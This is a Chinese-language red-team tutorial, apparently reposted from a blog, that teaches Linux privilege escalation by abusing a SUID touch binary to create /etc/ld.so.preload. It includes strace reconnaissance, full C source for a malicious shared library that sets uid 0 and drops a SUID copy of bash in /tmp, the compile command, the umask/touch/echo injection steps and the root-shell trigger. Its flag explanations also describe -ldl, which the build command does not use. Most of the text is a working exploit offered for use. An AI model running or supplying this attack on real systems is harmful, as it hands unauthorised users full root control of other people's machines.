// 红队渗透 · 2025-02-03

touch 命令 suid 也能提权?教你一招基于库文件劫持的提权攻击!

Linux系统中,touch命令用于更新文件时间戳或创建空文件。当其被赋予SUID权限时,可能被攻击者利用实现提权。本文将介绍一种利用touch命令SUID权限和动态链接库的提权攻击方法,希望带给大家一点启发。


一、SUID权限与touch命令风险

1.1 SUID权限

SUID允许以文件所有者身份运行程序。若touch设置SUID(rwsr-xr-x),普通用户运行时以root权限执行,增加安全风险。

1.2 touch命令功能

  • 更新文件访问时间(atime)和修改时间(mtime)。
  • 创建空文件。
  • SUID权限下,操作以root身份执行,可能被滥用。

二、提权攻击流程

2.1 使用strace分析系统调用

我们可以利用 strace 跟踪 touch 命令的系统调用,观察其对文件系统的访问情况。该命令会输出文件操作的详细信息,帮助检测潜在的漏洞。如果存在文件未找到或加载异常,攻击者便可通过劫持这些文件实现提权。例如,/etc/ld.so.preload 文件用于动态链接器的库加载配置,若该文件被劫持,攻击者可以注入恶意库。

执行命令:

strace touch 2>&1 | grep -Pi "open|access|no such file"

示例输出:

strace: Symbol `_UPT_accessors' has different size in shared object, consider re-linking
access("/etc/ld.so.preload", R_OK)      = -1 ENOENT (No such file or directory)
openat(AT_FDCWD, "/etc/ld.so.cache", O_RDONLY|O_CLOEXEC) = 3
openat(AT_FDCWD, "/lib/x86_64-linux-gnu/libc.so.6", O_RDONLY|O_CLOEXEC) = 3
openat(AT_FDCWD, "/usr/lib/locale/locale-archive", O_RDONLY|O_CLOEXEC) = 3
openat(AT_FDCWD, "/usr/share/locale/locale.alias", O_RDONLY|O_CLOEXEC) = 3
openat(AT_FDCWD, "/usr/share/locale/en_US.UTF-8/LC_MESSAGES/coreutils.mo", O_RDONLY) = -1 ENOENT (No such file or directory)
openat(AT_FDCWD, "/usr/share/locale/en_US.utf8/LC_MESSAGES/coreutils.mo", O_RDONLY) = -1 ENOENT (No such file or directory)
openat(AT_FDCWD, "/usr/share/locale/en_US/LC_MESSAGES/coreutils.mo", O_RDONLY) = -1 ENOENT (No such file or directory)
openat(AT_FDCWD, "/usr/share/locale/en.UTF-8/LC_MESSAGES/coreutils.mo", O_RDONLY) = -1 ENOENT (No such file or directory)
openat(AT_FDCWD, "/usr/share/locale/en.utf8/LC_MESSAGES/coreutils.mo", O_RDONLY) = -1 ENOENT (No such file or directory)
openat(AT_FDCWD, "/usr/share/locale/en/LC_MESSAGES/coreutils.mo", O_RDONLY) = -1 ENOENT (No such file or directory)

输出显示/etc/ld.so.preload不存在,为攻击提供入口。


2.2 编译恶意后门库

创建恶意.so文件,注入提权代码:

/tmp/pe.c 源码:

#include <stdio.h>
#include <sys/types.h>
#include <unistd.h>
#include <stdlib.h>

void _init() {
    unlink("/etc/ld.so.preload");
    setgid(0);
    setuid(0);
    system("cp /bin/bash /tmp/sh;chmod +s /tmp/sh");
}

编译命令:

gcc -fPIC -shared -o /tmp/pe.so pe.c -nostartfiles

参数说明 :

  • -ldl:这个参数指示编译器链接到 dl 库(动态链接库)。 这个库提供了动态加载其他共享库(如 .so 文件)的功能。 如果你的代码中使用了 dlopen、dlsym 之类的函数来动态加载和使用共享库,这个参数是必需的。
  • -shared:这个参数指示编译器生成一个共享对象文件(Shared Object,即 .so 文件),它可以被多个程序动态地链接和使用。 这是创建动态链接库(DLL 在 Linux 系统上的对应物)所必需的。
  • -fPIC:这个参数意味着生成“位置独立的代码”(Position-Independent Code)。 这是创建共享库所需的,因为共享库需要能够被加载到任何内存位置并正常工作。

2.3 利用umask创建高权限文件

我们可以通过设置 umask 000 来确保创建的文件具有所有用户的读写权限 666,即文件权限全开放。执行 touch 命令时,由于文件具有 SUID 权限(该命令会以 root 用户身份执行),所创建的 /etc/ld.so.preload 文件将获得 root 权限。然后,攻击者可以将恶意库的路径写入该文件,确保系统在加载时优先加载恶意库。

umask 000
touch /etc/ld.so.preload
echo '/tmp/pe.so' > /etc/ld.so.preload

关于 /etc/ld.so.preload

/etc/ld.so.preload 是 Linux 系统中的一个特殊文件,它用于指定在程序启动时需要预加载的共享库(.so 文件)。这些共享库会在所有其他动态链接库之前被加载,从而可以覆盖或修改程序中默认的库函数实现。

主要作用:

  1. 全局预加载:与 LD_PRELOAD 环境变量类似,/etc/ld.so.preload 的作用是全局性的,它会影响系统中所有用户和程序,而不仅仅是某个特定进程。
  2. 函数替换:通过预加载自定义的共享库,可以覆盖标准库中的函数实现。例如,可以替换 malloc 或 printf 等标准函数,以实现日志记录、性能监控或安全防护等功能。
  3. 系统级修改:常用于系统级的修改,比如拦截系统调用、增加安全防护或注入日志记录功能。

2.4 触发后门

运行touch或任何加载共享库的命令,动态链接器会先加载/etc/ld.so.preload中的恶意库,执行提权代码,生成SUID的/tmp/sh,从而获取root权限。

/tmp/sh -p

小结

上述步骤中,我们利用了touch命令的SUID权限和动态链接器特性,通过修改/etc/ld.so.preload加载恶意库,成功实现提权攻击,是不是很酷?!该方法利用Linux系统的动态链接机制和文件权限漏洞,攻击者通过注入恶意共享库路径到/etc/ld.so.preload,最终实现从普通用户到root的权限提升。

原文 https://blog.csdn.net/2301_79518550/article/details/145423339